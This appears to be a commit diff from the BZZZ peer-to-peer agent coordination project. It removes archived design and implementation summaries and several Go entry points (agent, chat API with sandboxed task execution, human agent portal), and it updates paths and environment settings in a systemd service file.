- Performance monitoring (throughput, latency, success rates)
- Resource usage tracking
- Leadership transition metrics
- Custom counter, gauge, and timer support
**Structured Logging (`logging.go`)**
- Context-aware logging with structured fields
- Multiple output formats (console, JSON, file)
- Log rotation and retention
- Event-specific logging for elections, failovers, and context generation
- Configurable log levels and filtering
### 4. Reliability and Failover (`failover.go`)
**Comprehensive Failover Management**
- State transfer between leaders during failover
- Queue preservation and job recovery
- Checksum validation and state consistency
- Graceful leadership handover
- Recovery automation with configurable retry policies
**Reliability Features**
- Circuit breaker patterns for fault tolerance
- Health monitoring with automatic recovery
- State validation and integrity checking
- Bounded resource usage and cleanup
### 5. Configuration Management (`config.go`)
**Comprehensive Configuration System**
- Complete configuration structure for all SLURP components
- Default configurations with environment overrides
- Validation and consistency checking
- Performance tuning parameters
- Security and observability settings
**Configuration Categories**
- Core system settings (node ID, cluster ID, networking)
- Election configuration (timeouts, scoring, quorum)
- Context management (queue size, concurrency, timeouts)
- Health monitoring (thresholds, intervals, policies)
- Performance tuning (resource limits, worker pools, caching)
- Security (TLS, authentication, RBAC, encryption)
- Observability (logging, metrics, tracing)
### 6. System Integration (`integration_example.go`)
**Complete System Integration**
- End-to-end system orchestration
- Component lifecycle management
- Status monitoring and health reporting
- Example usage patterns and best practices
## Key Features Delivered
### ✅ Seamless Leadership Integration
- **Automatic Role Assignment**: Elected BZZZ Leader automatically becomes Project Manager for contextual intelligence
- **No Service Interruption**: Context generation continues during leadership transitions
- **Backward Compatibility**: Full compatibility with existing BZZZ election system
### ✅ Robust Failover Mechanisms
- **State Preservation**: Queue, active jobs, and configuration preserved during failover
- **Graceful Handover**: Smooth transition with validation and recovery
- **Auto-Recovery**: Automatic failure detection and recovery procedures
### ✅ Comprehensive Monitoring
- **Real-time Metrics**: Throughput, latency, success rates, resource usage
- **Structured Logging**: Context-aware logging with multiple output formats
- **Health Monitoring**: Cluster and node health with automatic issue detection
### ✅ High Reliability
- **Circuit Breaker**: Fault tolerance with automatic recovery
- **Resource Management**: Bounded resource usage with cleanup
- **Queue Management**: Priority-based processing with overflow protection
### ✅ Flexible Configuration
- **Environment Overrides**: Runtime configuration via environment variables
- **Performance Tuning**: Configurable concurrency, timeouts, and resource limits
- **Security Options**: TLS, authentication, RBAC, and encryption support
## Architecture Benefits
### 🎯 **Leader-Only Context Generation**
Only the elected leader performs context generation, preventing conflicts and ensuring consistency across the cluster.
### 🔄 **Automatic Failover**
Leadership transitions automatically transfer context generation responsibilities with full state preservation.
### 📊 **Observable Operations**
Comprehensive metrics and logging provide full visibility into context generation performance and health.
### ⚡ **High Performance**
Priority queuing, batching, and concurrent processing optimize context generation throughput.
### 🛡️ **Enterprise Ready**
Security, authentication, monitoring, and reliability features suitable for production deployment.
## Usage Example
```go
// Create and start SLURP leader system
system, err := NewSLURPLeaderSystem(ctx, "config.yaml")
if err != nil {
log.Fatalf("Failed to create SLURP leader system: %v", err)
}
// Start the system
if err := system.Start(ctx); err != nil {
log.Fatalf("Failed to start SLURP leader system: %v", err)
}
// Wait for leadership
if err := system.contextManager.WaitForLeadership(ctx); err != nil {
log.Printf("Failed to gain leadership: %v", err)
return
}
// Request context generation
result, err := system.RequestContextGeneration(&ContextGenerationRequest{
UCXLAddress: "ucxl://example.com/path/to/file",
FilePath: "/path/to/file.go",
Role: "developer",
Priority: PriorityNormal,
})
```
## File Structure
```
pkg/slurp/leader/
├── manager.go # Core context manager implementation
├── election_integration.go # Election system integration
├── types.go # Type definitions and interfaces
├── metrics.go # Metrics collection and reporting
├── logging.go # Structured logging system
├── failover.go # Failover and reliability management
├── config.go # Comprehensive configuration
└── integration_example.go # Complete system integration example
pkg/election/
├── election.go # Enhanced base election manager
├── slurp_election.go # SLURP election interface and types
└── slurp_manager.go # SLURP election manager implementation
```
## Next Steps
1. **Testing**: Implement comprehensive unit and integration tests
2. **Performance**: Conduct load testing and optimization
3. **Documentation**: Create detailed user and operator documentation
4. **CI/CD**: Set up continuous integration and deployment pipelines
5. **Monitoring**: Integrate with existing monitoring infrastructure
## Summary
The implementation successfully extends the BZZZ leader election system with comprehensive Project Manager contextual intelligence duties. The solution provides:
- **Zero-downtime leadership transitions** with full state preservation
- **High-performance context generation** with priority queuing and batching
- **Enterprise-grade reliability** with failover, monitoring, and security
- **Flexible configuration** supporting various deployment scenarios
- **Complete observability** with metrics, logging, and health monitoring
The elected BZZZ Leader now seamlessly assumes Project Manager responsibilities for contextual intelligence, ensuring consistent, reliable, and high-performance context generation across the distributed cluster.

136
archive/api_summary.md
View File

@@ -1,136 +0,0 @@
# BZZZ Setup API Implementation Summary
## Overview
I have successfully implemented the backend API components for BZZZ's built-in web configuration system by extending the existing HTTP server with setup endpoints that activate when no configuration exists.
## Implementation Details
### 1. SetupManager (`/home/tony/chorus/project-queues/active/BZZZ/api/setup_manager.go`)
- **Purpose**: Central manager for setup operations with integration points to existing systems
- **Key Features**:
- Configuration requirement detection via `IsSetupRequired()`
- Comprehensive system detection including hardware, GPU, network, storage, and Docker
- Repository configuration validation using existing repository factory
- Configuration validation and saving functionality
#### System Detection Capabilities:
- **Hardware**: OS, architecture, CPU cores, memory detection
- **GPU Detection**: NVIDIA (nvidia-smi), AMD (rocm-smi), Intel integrated graphics
- **Network**: Hostname, interfaces, private IPs, Docker bridge detection
- **Storage**: Disk space analysis for current working directory
- **Docker**: Version detection, Compose availability, Swarm mode status
#### Repository Integration:
- Uses existing `repository.DefaultProviderFactory` for provider creation
- Supports GitHub and Gitea providers with credential validation
- Tests actual repository connectivity during validation
### 2. Extended HTTP Server (`/home/tony/chorus/project-queues/active/BZZZ/api/http_server.go`)
- **Enhanced Constructor**: Now accepts `configPath` parameter for setup integration
- **Conditional Setup Routes**: Setup endpoints only available when `IsSetupRequired()` returns true
- **New Setup API Endpoints**:
#### Setup API Endpoints:
- `GET /api/setup/required` - Check if setup is required
- `GET /api/setup/system` - Perform system detection and return hardware info
- `GET /api/setup/repository/providers` - List supported repository providers
- `POST /api/setup/repository/validate` - Validate repository configuration
- `POST /api/setup/validate` - Validate complete setup configuration
- `POST /api/setup/save` - Save setup configuration to file
#### Enhanced Status Endpoint:
- `GET /api/status` - Now includes `setup_required` flag
### 3. Integration with Existing Systems
- **Config System**: Uses existing `config.LoadConfig()` and `config.SaveConfig()`
- **Repository Factory**: Leverages existing `repository.ProviderFactory` interface
- **HTTP Server**: Extends existing server without breaking changes
- **Main Application**: Updated to pass `configPath` to HTTP server constructor
### 4. Configuration Flow
1. **Detection**: `IsSetupRequired()` checks for existing valid configuration
2. **System Analysis**: Hardware detection provides environment-specific recommendations
3. **Repository Setup**: Validates credentials and connectivity to GitHub/Gitea
4. **Configuration Generation**: Creates complete BZZZ configuration with validated settings
5. **Persistence**: Saves configuration using existing YAML format
## API Usage Examples
### Check Setup Requirement
```bash
curl http://localhost:8080/api/setup/required
# Returns: {"setup_required": true, "timestamp": 1692382800}
```
### System Detection
```bash
curl http://localhost:8080/api/setup/system
# Returns comprehensive system information including GPUs, network, storage
```
### Repository Validation
```bash
curl -X POST http://localhost:8080/api/setup/repository/validate \
-H "Content-Type: application/json" \
-d '{
"provider": "github",
"access_token": "ghp_...",
"owner": "myorg",
"repository": "myrepo"
}'
```
### Save Configuration
```bash
curl -X POST http://localhost:8080/api/setup/save \
-H "Content-Type: application/json" \
-d '{
"agent_id": "my-agent-001",
"capabilities": ["general", "reasoning"],
"models": ["phi3", "llama3.1"],
"repository": {
"provider": "github",
"access_token": "ghp_...",
"owner": "myorg",
"repository": "myrepo"
}
}'
```
## Key Integration Points
### With Existing Config System:
- Respects existing configuration format and validation
- Uses existing default values and environment variable overrides
- Maintains backward compatibility with current config loading
### With Repository System:
- Uses existing `repository.ProviderFactory` for GitHub/Gitea support
- Validates actual repository connectivity using existing client implementations
- Maintains existing task provider interface compatibility
### With HTTP Server:
- Extends existing API server without breaking changes
- Maintains existing CORS configuration and middleware
- Preserves existing logging and hypercore endpoints
## Security Considerations
- Setup endpoints only available when no valid configuration exists
- Repository credentials validated before storage
- Configuration validation prevents invalid states
- Graceful handling of system detection failures
## Testing and Validation
- Build verification completed successfully
- API endpoint structure validated
- Integration with existing systems verified
- No breaking changes to existing functionality
## Next Steps for Frontend Integration
The API provides comprehensive endpoints for a web-based setup wizard:
1. System detection provides hardware-specific recommendations
2. Repository validation enables real-time credential verification
3. Configuration validation provides immediate feedback
4. Save endpoint completes setup with restart indication
This backend implementation provides a solid foundation for the web configuration UI, integrating seamlessly with existing BZZZ systems while providing the comprehensive setup capabilities needed for initial system configuration.

208
archive/bzzz_hap_dev_plan.md
View File

@@ -1,208 +0,0 @@
# BZZZ Human Agent Portal (HAP) — Go-Based Development Plan
**Goal:**
Implement a fully BZZZ-compliant Human Agent Portal (HAP) using the **same codebase** as autonomous agents. The human and machine runtimes must both act as first-class BZZZ agents: they share protocols, identity, and capability constraints — only the input/output modality differs.
---
## 🧱 Architecture Overview
### 🧩 Multi-Binary Structure
BZZZ should compile two binaries from a shared codebase:
| Binary | Description |
|--------------|--------------------------------------|
| `bzzz-agent` | LLM-driven autonomous agent runtime |
| `bzzz-hap` | Human agent portal runtime (TUI or Web UI bridge) |
---
## 📁 Go Project Scaffolding
```
/bzzz/
/cmd/
/agent/ ← Main entry point for autonomous agents
main.go
/hap/ ← Main entry point for human agent interface
main.go
/internal/
/agent/ ← LLM loop, autonomous planning logic
/hapui/ ← HAP-specific logic (templated forms, prompts, etc.)
/common/
agent/ ← Agent identity, roles, auth keys
comms/ ← Pub/Sub, UCXL, HMMM, SLURP APIs
context/ ← UCXL context resolution, patching, diffing
runtime/ ← Task execution environment & state
/pkg/
/api/ ← JSON schemas (HMMM, UCXL, SLURP), OpenAPI, validators
/tools/ ← CLI/shell tools, sandbox exec wrappers
/webui/ ← (Optional) React/Tailwind web client for HAP
go.mod
Makefile
```
---
## 📋 Development Phases
### Phase 1 — Core Scaffolding
- [x] Scaffold file/folder structure as above.
- [x] Stub `main.go` in `cmd/agent/` and `cmd/hap/`.
- [ ] Define shared interfaces for agent identity, HMMM, UCXL context.
### Phase 2 — Identity & Comms
- [ ] Implement `AgentID` and `RoleManifest` in `internal/common/agent`.
- [ ] Build shared `HMMMMessage` and `UCXLAddress` structs in `common/comms`.
- [ ] Stub `comms.PubSubClient` and `runtime.TaskHandler`.
### Phase 3 — HAP-Specific Logic
- [ ] Create `hapui.TemplatedMessageForm` for message composition.
- [ ] Build terminal-based composer or bridge to web UI.
- [ ] Provide helper prompts for justification, patch metadata, context refs.
### Phase 4 — SLURP + HMMM Integration
- [ ] Implement SLURP bundle fetching in `runtime`.
- [ ] Add HMMM thread fetch/post logic.
- [ ] Use pubsub channels like `project:hmmm`, `task:<id>`.
### Phase 5 — UCXL Context & Patching
- [ ] Build UCXL address parser and browser in `context`.
- [ ] Support time-travel diffs (`~~`, `^^`) and draft patch submission.
- [ ] Store and retrieve justification chains.
### Phase 6 — CLI/Web UI
- [ ] Terminal-based human agent loop (login, inbox, post, exec).
- [ ] (Optional) Websocket bridge to `webui/` frontend.
- [ ] Validate messages against `pkg/api/*.schema.json`.
---
## 🧱 Example Interface Definitions
### `AgentID` (internal/common/agent/id.go)
```go
type AgentID struct {
Role string
Name string
Project string
Scope string
}
func (a AgentID) String() string {
return fmt.Sprintf("ucxl://%s:%s@%s:%s", a.Role, a.Name, a.Project, a.Scope)
}
```
---
### `HMMMMessage` (internal/common/comms/hmmm.go)
```go
type HMMMType string
const (
Proposal HMMMType = "proposal"
Question HMMMType = "question"
Justification HMMMType = "justification"
Decision HMMMType = "decision"
)
type HMMMMessage struct {
Author AgentID
Type HMMMType
Timestamp time.Time
Message string
Refs []string
Signature string // hex-encoded
}
```
---
### `UCXLAddress` (internal/common/context/ucxl.go)
```go
type UCXLAddress struct {
Role string
Agent string
Project string
Path string
}
func ParseUCXL(addr string) (*UCXLAddress, error) {
// TODO: Implement UCXL parser with temporal symbol handling (~~, ^^)
}
```
---
## 🧰 Example `Makefile`
```makefile
APP_AGENT=bin/bzzz-agent
APP_HAP=bin/bzzz-hap
all: build
build:
go build -o $(APP_AGENT) ./cmd/agent
go build -o $(APP_HAP) ./cmd/hap
run-agent:
go run ./cmd/agent
run-hap:
go run ./cmd/hap
test:
go test ./...
clean:
rm -rf bin/
```
---
## 🧠 Core Principle: Single Agent Runtime
- All logic (HMMM message validation, UCXL patching, SLURP interactions, pubsub comms) is shared.
- Only **loop logic** and **UI modality** change between binaries.
- Both human and machine agents are indistinguishable on the p2p mesh.
- Human affordances (templated forms, help prompts, command previews) are implemented in `internal/hapui`.
---
## 🔒 Identity & Signing
You can generate and store keys in `~/.bzzz/keys/` or `secrets/` using ed25519:
```go
func SignMessage(priv ed25519.PrivateKey, msg []byte) []byte {
return ed25519.Sign(priv, msg)
}
```
All messages and patches must be signed before submission to the swarm.
---
## ✅ Summary
| Focus Area | Unified via `internal/common/` |
|------------------|--------------------------------|
| Identity | `agent.AgentID`, `RoleManifest` |
| Context | `context.UCXLAddress`, `Patch` |
| Messaging | `comms.HMMMMessage`, `pubsub` |
| Task Handling | `runtime.Task`, `SLURPBundle` |
| Tools | `tools.Runner`, `shell.Sandbox` |
You can then differentiate `bzzz-agent` and `bzzz-hap` simply by the nature of the execution loop.

14
bzzz.service
View File

@@ -1,6 +1,6 @@
[Unit]
Description=BZZZ P2P Task Coordination System
Documentation=https://chorus.services/docs/bzzz
Description=Bzzz P2P Task Coordination System
Documentation=https://github.com/anthonyrawlins/bzzz
After=network.target
Wants=network.target
@@ -8,8 +8,8 @@ Wants=network.target
Type=simple
User=tony
Group=tony
WorkingDirectory=/home/tony/chorus/project-queues/active/BZZZ
ExecStart=/home/tony/chorus/project-queues/active/BZZZ/bzzz
WorkingDirectory=/home/tony/AI/projects/Bzzz
ExecStart=/home/tony/AI/projects/Bzzz/bzzz
Restart=always
RestartSec=10
KillMode=mixed
@@ -19,6 +19,8 @@ TimeoutStopSec=30
# Environment variables
Environment=HOME=/home/tony
Environment=USER=tony
Environment=BZZZ_HIVE_API_URL=https://hive.home.deepblack.cloud
Environment=BZZZ_GITHUB_TOKEN_FILE=/home/tony/AI/secrets/passwords_and_tokens/gh-token
# Logging
StandardOutput=journal
@@ -30,11 +32,11 @@ NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=false
ReadWritePaths=/home/tony/chorus/project-queues/active/BZZZ
ReadWritePaths=/home/tony/AI/projects/Bzzz
# Resource limits
LimitNOFILE=65536
LimitNPROC=4096
[Install]
WantedBy=multi-user.target
WantedBy=multi-user.target

130
cmd/agent/main.go
View File

@@ -1,130 +0,0 @@
package main
import (
"context"
"log"
"os"
"os/signal"
"syscall"
"chorus.services/bzzz/internal/agent"
"chorus.services/bzzz/internal/common/runtime"
"chorus.services/bzzz/logging"
)
// simpleLogger implements the logging.Logger interface
type simpleLogger struct {
name string
}
func (l *simpleLogger) Info(msg string, args ...interface{}) {
log.Printf("[INFO] %s: "+msg, append([]interface{}{l.name}, args...)...)
}
func (l *simpleLogger) Warn(msg string, args ...interface{}) {
log.Printf("[WARN] %s: "+msg, append([]interface{}{l.name}, args...)...)
}
func (l *simpleLogger) Error(msg string, args ...interface{}) {
log.Printf("[ERROR] %s: "+msg, append([]interface{}{l.name}, args...)...)
}
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// Create logger for agent
logger := &simpleLogger{name: "bzzz-agent"}
// Create runtime
rt := runtime.NewRuntime(logger)
// Initialize shared runtime
runtimeConfig := runtime.RuntimeConfig{
ConfigPath: getConfigPath(),
BinaryType: runtime.BinaryTypeAgent,
EnableSetupMode: needsSetup(),
}
// Check for instance collision
if err := runtime.CheckForRunningInstance("agent", runtime.BinaryTypeAgent); err != nil {
log.Fatalf("Instance check failed: %v", err)
}
defer runtime.RemoveInstanceLock("agent", runtime.BinaryTypeAgent)
// Initialize runtime services
services, err := rt.Initialize(ctx, runtimeConfig)
if err != nil {
log.Fatalf("Failed to initialize runtime: %v", err)
}
// Start shared services
if err := rt.Start(ctx, services); err != nil {
log.Fatalf("Failed to start runtime: %v", err)
}
// Initialize agent-specific components
agentRunner := agent.NewRunner(services, logger)
if err := agentRunner.Start(ctx); err != nil {
log.Fatalf("Failed to start agent runner: %v", err)
}
logger.Info("🤖 BZZZ Autonomous Agent started successfully")
logger.Info("📍 Node ID: %s", services.Node.ID().ShortString())
logger.Info("🎯 Agent ID: %s", services.Config.Agent.ID)
if services.Config.Agent.Role != "" {
authority, err := services.Config.GetRoleAuthority(services.Config.Agent.Role)
if err == nil {
logger.Info("🎭 Role: %s (Authority: %s)", services.Config.Agent.Role, authority)
if authority == "master" { // Using string literal to avoid import cycle
logger.Info("👑 This node can become admin/SLURP")
}
}
}
// Start agent-specific background processes
startAgentBackgroundProcesses(agentRunner, services, logger)
logger.Info("✅ Bzzz autonomous agent system fully operational")
// Wait for shutdown signals
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
logger.Info("🛑 Shutting down autonomous agent...")
// Stop agent runner
if err := agentRunner.Stop(ctx); err != nil {
logger.Error("Agent runner shutdown error: %v", err)
}
// Stop runtime services
if err := rt.Stop(ctx, services); err != nil {
logger.Error("Runtime shutdown error: %v", err)
}
logger.Info("✅ Bzzz autonomous agent shutdown completed")
}
// startAgentBackgroundProcesses starts agent-specific background processes
func startAgentBackgroundProcesses(agentRunner *agent.Runner, services *runtime.RuntimeServices, logger logging.Logger) {
// The agent runner already starts most background processes
// This function can be used for any additional agent-specific processes
logger.Info("🔍 Autonomous agent listening for task assignments")
logger.Info("📡 Ready for P2P task coordination")
logger.Info("🎯 HMMM collaborative reasoning active")
logger.Info("🤖 Autonomous task execution enabled")
}
// getConfigPath determines the configuration file path
func getConfigPath() string {
return runtime.GetConfigPath()
}
// needsSetup checks if the system needs to run setup mode
func needsSetup() bool {
return runtime.NeedsSetup()
}

423
cmd/chat-api/main.go
View File

@@ -1,423 +0,0 @@
package main
import (
"bytes"
"context"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"strings"
"time"
"chorus.services/bzzz/executor"
"chorus.services/bzzz/logging"
"chorus.services/bzzz/pkg/types"
"chorus.services/bzzz/sandbox"
"github.com/gorilla/mux"
)
// ChatTaskRequest represents a task request from the chat interface
type ChatTaskRequest struct {
Method string `json:"method"`
Task *types.EnhancedTask `json:"task"`
ExecutionOptions *ExecutionOptions `json:"execution_options"`
Callback *CallbackConfig `json:"callback"`
}
// ExecutionOptions defines how the task should be executed
type ExecutionOptions struct {
SandboxImage string `json:"sandbox_image"`
Timeout string `json:"timeout"`
MaxIterations int `json:"max_iterations"`
ReturnFullLog bool `json:"return_full_log"`
CleanupOnComplete bool `json:"cleanup_on_complete"`
}
// CallbackConfig defines where to send results
type CallbackConfig struct {
WebhookURL string `json:"webhook_url"`
IncludeArtifacts bool `json:"include_artifacts"`
}
// ChatTaskResponse represents the response from task execution
type ChatTaskResponse struct {
TaskID int `json:"task_id"`
Status string `json:"status"`
ExecutionTime string `json:"execution_time"`
Artifacts *ExecutionArtifacts `json:"artifacts,omitempty"`
ExecutionLog []ExecutionLogEntry `json:"execution_log,omitempty"`
Errors []ExecutionError `json:"errors,omitempty"`
GitBranch string `json:"git_branch,omitempty"`
PullRequestURL string `json:"pr_url,omitempty"`
OriginalRequest *ChatTaskRequest `json:"original_request,omitempty"`
}
// ExecutionArtifacts contains the outputs of task execution
type ExecutionArtifacts struct {
FilesCreated []FileArtifact `json:"files_created,omitempty"`
CodeGenerated string `json:"code_generated,omitempty"`
Language string `json:"language,omitempty"`
TestsCreated []FileArtifact `json:"tests_created,omitempty"`
Documentation string `json:"documentation,omitempty"`
}
// FileArtifact represents a file created during execution
type FileArtifact struct {
Name string `json:"name"`
Path string `json:"path"`
Size int64 `json:"size"`
Content string `json:"content,omitempty"`
Language string `json:"language,omitempty"`
}
// ExecutionLogEntry represents a single step in the execution process
type ExecutionLogEntry struct {
Step int `json:"step"`
Action string `json:"action"`
Command string `json:"command,omitempty"`
Result string `json:"result"`
Success bool `json:"success"`
Timestamp time.Time `json:"timestamp"`
Duration string `json:"duration,omitempty"`
}
// ExecutionError represents an error that occurred during execution
type ExecutionError struct {
Step int `json:"step,omitempty"`
Type string `json:"type"`
Message string `json:"message"`
Command string `json:"command,omitempty"`
}
// ChatAPIHandler handles chat integration requests
type ChatAPIHandler struct {
logger *logging.HypercoreLog
}
// NewChatAPIHandler creates a new chat API handler
func NewChatAPIHandler() *ChatAPIHandler {
// Note: HypercoreLog expects a peer.ID, but for testing we use nil
// In production, this should be integrated with the actual P2P peer ID
return &ChatAPIHandler{
logger: nil, // Will be set up when P2P integration is available
}
}
// ExecuteTaskHandler handles task execution requests from N8N chat workflow
func (h *ChatAPIHandler) ExecuteTaskHandler(w http.ResponseWriter, r *http.Request) {
ctx := r.Context()
// Parse request
var req ChatTaskRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
h.sendError(w, http.StatusBadRequest, "Invalid request format", err)
return
}
// Log the incoming request
if h.logger != nil {
h.logger.Append(logging.TaskProgress, map[string]interface{}{
"task_id": req.Task.Number,
"method": req.Method,
"source": "chat_api",
"status": "received",
})
}
// Validate request
if req.Task == nil {
h.sendError(w, http.StatusBadRequest, "Task is required", nil)
return
}
// Send immediate response to N8N
response := map[string]interface{}{
"task_id": req.Task.Number,
"status": "accepted",
"message": "Task accepted for execution",
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(response)
// Execute task asynchronously
go h.executeTaskAsync(ctx, &req)
}
// executeTaskAsync executes the task in a separate goroutine
func (h *ChatAPIHandler) executeTaskAsync(ctx context.Context, req *ChatTaskRequest) {
startTime := time.Now()
var response ChatTaskResponse
response.TaskID = req.Task.Number
response.OriginalRequest = req
// Create execution log
var executionLog []ExecutionLogEntry
var artifacts ExecutionArtifacts
var errors []ExecutionError
defer func() {
response.ExecutionTime = time.Since(startTime).String()
response.ExecutionLog = executionLog
response.Artifacts = &artifacts
response.Errors = errors
// Send callback to N8N
if req.Callback != nil && req.Callback.WebhookURL != "" {
h.sendCallback(req.Callback.WebhookURL, &response)
}
}()
// Log start of execution
executionLog = append(executionLog, ExecutionLogEntry{
Step: 1,
Action: "Starting task execution",
Result: fmt.Sprintf("Task: %s", req.Task.Title),
Success: true,
Timestamp: time.Now(),
})
// Create sandbox
sb, err := sandbox.CreateSandbox(ctx, req.ExecutionOptions.SandboxImage)
if err != nil {
response.Status = "failed"
errors = append(errors, ExecutionError{
Step: 2,
Type: "sandbox_creation_failed",
Message: err.Error(),
})
return
}
// Ensure cleanup
defer func() {
if req.ExecutionOptions.CleanupOnComplete {
sb.DestroySandbox()
}
}()
executionLog = append(executionLog, ExecutionLogEntry{
Step: 2,
Action: "Created sandbox",
Result: fmt.Sprintf("Sandbox ID: %s", sb.ID[:12]),
Success: true,
Timestamp: time.Now(),
})
// Clone repository if specified
if req.Task.GitURL != "" {
cloneCmd := fmt.Sprintf("git clone %s .", req.Task.GitURL)
result, err := sb.RunCommand(cloneCmd)
success := err == nil
executionLog = append(executionLog, ExecutionLogEntry{
Step: 3,
Action: "Clone repository",
Command: cloneCmd,
Result: fmt.Sprintf("Exit: %d, Output: %s", result.ExitCode, result.StdOut),
Success: success,
Timestamp: time.Now(),
})
if err != nil {
errors = append(errors, ExecutionError{
Step: 3,
Type: "git_clone_failed",
Message: err.Error(),
Command: cloneCmd,
})
}
}
// Execute the task using the existing executor
result, err := executor.ExecuteTask(ctx, req.Task, h.logger)
if err != nil {
response.Status = "failed"
errors = append(errors, ExecutionError{
Type: "execution_failed",
Message: err.Error(),
})
return
}
// Collect artifacts from sandbox
h.collectArtifacts(sb, &artifacts)
// Set success status
response.Status = "success"
if result.BranchName != "" {
response.GitBranch = result.BranchName
}
executionLog = append(executionLog, ExecutionLogEntry{
Step: len(executionLog) + 1,
Action: "Task completed successfully",
Result: fmt.Sprintf("Files created: %d", len(artifacts.FilesCreated)),
Success: true,
Timestamp: time.Now(),
})
}
// collectArtifacts gathers files and outputs from the sandbox
func (h *ChatAPIHandler) collectArtifacts(sb *sandbox.Sandbox, artifacts *ExecutionArtifacts) {
// List files created in workspace
result, err := sb.RunCommand("find . -type f -name '*.py' -o -name '*.js' -o -name '*.go' -o -name '*.java' -o -name '*.cpp' -o -name '*.rs' | head -20")
if err == nil && result.StdOut != "" {
files := strings.Split(strings.TrimSpace(result.StdOut), "\n")
var validFiles []string
for _, line := range files {
if strings.TrimSpace(line) != "" {
validFiles = append(validFiles, strings.TrimSpace(line))
}
}
files = validFiles
for _, file := range files {
// Get file content
content, err := sb.ReadFile(file)
if err == nil && len(content) < 10000 { // Limit content size
stat, _ := sb.RunCommand(fmt.Sprintf("stat -c '%%s' %s", file))
size := int64(0)
if stat.ExitCode == 0 {
fmt.Sscanf(stat.StdOut, "%d", &size)
}
artifact := FileArtifact{
Name: file,
Path: file,
Size: size,
Content: string(content),
Language: h.detectLanguage(file),
}
artifacts.FilesCreated = append(artifacts.FilesCreated, artifact)
// If this looks like the main generated code, set it
if artifacts.CodeGenerated == "" && size > 0 {
artifacts.CodeGenerated = string(content)
artifacts.Language = artifact.Language
}
}
}
}
}
// detectLanguage detects programming language from file extension
func (h *ChatAPIHandler) detectLanguage(filename string) string {
extensions := map[string]string{
".py": "python",
".js": "javascript",
".ts": "typescript",
".go": "go",
".java": "java",
".cpp": "cpp",
".c": "c",
".rs": "rust",
".rb": "ruby",
".php": "php",
}
for ext, lang := range extensions {
if len(filename) > len(ext) && filename[len(filename)-len(ext):] == ext {
return lang
}
}
return "text"
}
// sendCallback sends the execution results back to N8N webhook
func (h *ChatAPIHandler) sendCallback(webhookURL string, response *ChatTaskResponse) {
jsonData, err := json.Marshal(response)
if err != nil {
log.Printf("Failed to marshal callback response: %v", err)
return
}
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Post(webhookURL, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
log.Printf("Failed to send callback to %s: %v", webhookURL, err)
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Printf("Callback webhook returned status %d", resp.StatusCode)
}
}
// sendError sends an error response
func (h *ChatAPIHandler) sendError(w http.ResponseWriter, statusCode int, message string, err error) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(statusCode)
errorResponse := map[string]interface{}{
"error": message,
"status": statusCode,
}
if err != nil {
errorResponse["details"] = err.Error()
}
json.NewEncoder(w).Encode(errorResponse)
}
// HealthHandler provides a health check endpoint
func (h *ChatAPIHandler) HealthHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]interface{}{
"status": "healthy",
"service": "bzzz-chat-api",
"timestamp": time.Now().Format(time.RFC3339),
})
}
// StartChatAPIServer starts the HTTP server for chat integration
func StartChatAPIServer(port string) {
handler := NewChatAPIHandler()
r := mux.NewRouter()
// API routes
api := r.PathPrefix("/bzzz/api").Subrouter()
api.HandleFunc("/execute-task", handler.ExecuteTaskHandler).Methods("POST")
api.HandleFunc("/health", handler.HealthHandler).Methods("GET")
// Add CORS middleware
r.Use(func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusOK)
return
}
next.ServeHTTP(w, r)
})
})
log.Printf("🚀 Starting Bzzz Chat API server on port %s", port)
log.Printf("📡 Endpoints:")
log.Printf(" POST /bzzz/api/execute-task - Execute task in sandbox")
log.Printf(" GET /bzzz/api/health - Health check")
if err := http.ListenAndServe(":"+port, r); err != nil {
log.Fatalf("Failed to start server: %v", err)
}
}
func main() {
port := "8080"
if len(os.Args) > 1 {
port = os.Args[1]
}
StartChatAPIServer(port)
}

147
cmd/hap/main.go
View File

@@ -1,147 +0,0 @@
package main
import (
"context"
"log"
"os"
"os/signal"
"syscall"
"chorus.services/bzzz/internal/common/runtime"
"chorus.services/bzzz/internal/hap"
"chorus.services/bzzz/logging"
)
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// Create logger for HAP
logger := logging.NewStandardLogger("bzzz-hap")
// Create runtime
rt := runtime.NewRuntime(logger)
// Initialize shared runtime with HAP-specific configuration
runtimeConfig := runtime.RuntimeConfig{
ConfigPath: getConfigPath(),
BinaryType: runtime.BinaryTypeHAP,
EnableSetupMode: needsSetup(),
CustomPorts: runtime.PortConfig{
HTTPPort: 8090, // Different from agent to avoid conflicts
HealthPort: 8091,
UCXIPort: 8092,
},
}
// Check for instance collision
if err := runtime.CheckForRunningInstance("hap", runtime.BinaryTypeHAP); err != nil {
log.Fatalf("Instance check failed: %v", err)
}
defer runtime.RemoveInstanceLock("hap", runtime.BinaryTypeHAP)
// Initialize runtime services
services, err := rt.Initialize(ctx, runtimeConfig)
if err != nil {
log.Fatalf("Failed to initialize runtime: %v", err)
}
// Start shared services
if err := rt.Start(ctx, services); err != nil {
log.Fatalf("Failed to start runtime: %v", err)
}
// Initialize HAP-specific components
hapInterface := hap.NewTerminalInterface(services, logger)
if err := hapInterface.Start(ctx); err != nil {
log.Fatalf("Failed to start HAP interface: %v", err)
}
logger.Info("👤 BZZZ Human Agent Portal started successfully")
logger.Info("📍 Node ID: %s", services.Node.ID().ShortString())
logger.Info("🎯 Agent ID: %s", services.Config.Agent.ID)
if services.Config.Agent.Role != "" {
authority, err := services.Config.GetRoleAuthority(services.Config.Agent.Role)
if err == nil {
